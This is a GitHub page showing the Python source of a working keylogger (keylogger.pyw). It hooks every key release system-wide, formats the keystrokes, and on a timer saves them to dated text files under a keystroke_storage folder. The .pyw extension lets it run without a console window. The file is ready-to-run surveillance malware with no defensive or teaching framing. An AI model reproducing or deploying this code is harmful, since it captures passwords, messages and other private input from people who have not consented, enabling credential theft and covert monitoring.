-
Notifications
You must be signed in to change notification settings - Fork 1
/
keylogger.pyw
123 lines (89 loc) · 3.75 KB
/
keylogger.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import keyboard # for keylogs
import json # for the time
from threading import Timer
from datetime import datetime
import os
# report timing
with open("data.json", "r") as d:
data = json.load(d)
SEND_REPORT_EVERY = data["time"] # in seconds, 60 means 1 minute, Default : 5 minutes
class Keylogger:
def __init__(self, interval, report_method="file"):
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
self.report_method = report_method
self.log = ""
# record start & end datetimes
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def formatSpecialKey(self, key):
key = key.replace(" ", "_")
key = f"[{key.upper()}]"
return key
def formatTime(self, time):
relevantTime = str(time)[:-7]
formattedTime = relevantTime.replace(" ", "-").replace(":", "")
return formattedTime
def callback(self, event):
"""
This callback is invoked whenever a keyboard event is occurred
(i.e when a key is released in this example)
"""
if len(key := event.name) > 1:
# not a character, special key (e.g ctrl, alt, etc.)
# uppercase with []
specialCases = {
"space": " ",
"enter": "[ENTER]\n",
"decimal" : "."
}
key = specialCases.get(key, self.formatSpecialKey(key))
# add the key name to the `self.log` variable
self.log += key
def update_filename(self):
# construct the filename to be identified by start & end datetimes
start_dt_str = self.formatTime(self.start_dt)
end_dt_str = self.formatTime(self.end_dt)
self.filename = f"{start_dt_str}---{end_dt_str}"
def report_to_file(self):
"""This method creates a log file that contains
the current keylogs in the `self.log` variable"""
originalDirectory = os.getcwd()
now = datetime.now()
monthYear = now.strftime("%Y-%m")
dayMonth = now.strftime("%m-%d")
# The path for storing the file
curFolder = os.path.join(originalDirectory, "keystroke_storage", monthYear, dayMonth)
if not os.path.exists(curFolder):
os.makedirs(curFolder)
os.chdir(curFolder)
# open the file in write mode (create it)
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"[+] Saved Files\\{self.filename}.txt")
os.chdir(originalDirectory) #Return back to the original directory
def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log: # if there is something in log, report it
self.end_dt = datetime.now()
self.update_filename()
if self.report_method == "file":
self.report_to_file()
self.start_dt = datetime.now()
# if you want to print in the console, uncomment below line
# print(f"[{self.filename}] - {self.log}")
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True # set the thread as daemon (dies when main thread die)
timer.start()
def start(self):
keyboard.on_release(callback=self.callback) # start the keylogger
self.report()
keyboard.wait() # block the current thread, wait until CTRL+C is pressed
# This Code is written by crypto-navdeep (www.github.com/crypto-navdeep)
if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()